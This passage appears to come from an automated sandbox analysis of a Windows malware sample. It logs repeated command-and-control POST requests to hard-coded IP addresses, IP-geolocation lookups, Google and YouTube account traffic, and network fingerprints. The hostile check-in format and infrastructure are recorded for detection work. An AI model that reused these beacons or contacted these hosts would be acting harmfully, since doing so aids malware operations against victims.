Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 104.26.5.15 104.26.5.15
Source: Joe Sandbox View	IP Address: 193.233.132.56 193.233.132.56
Source: Joe Sandbox View	IP Address: 193.233.132.56 193.233.132.56

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Code function: 0_2_00C4D8D0 recv,recv,recv,recv,

0_2_00C4D8D0

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gdo9tp536UW6kVN&MD=MgdmHMVh HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gdo9tp536UW6kVN&MD=MgdmHMVh HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-58101590&timestamp=1713476419682 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=Lwkr3AZE7EM; VISITOR_INFO1_LIVE=g9_VWJYh6aY; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgYQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCPnA1BUIpu3MIhj2yc0BGNXdzQEY0/7NARjYhs4BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=212160193&timestamp=1713476453637 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCPnA1BUIpu3MIhj2yc0BGNXdzQEY0/7NARjYhs4BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: 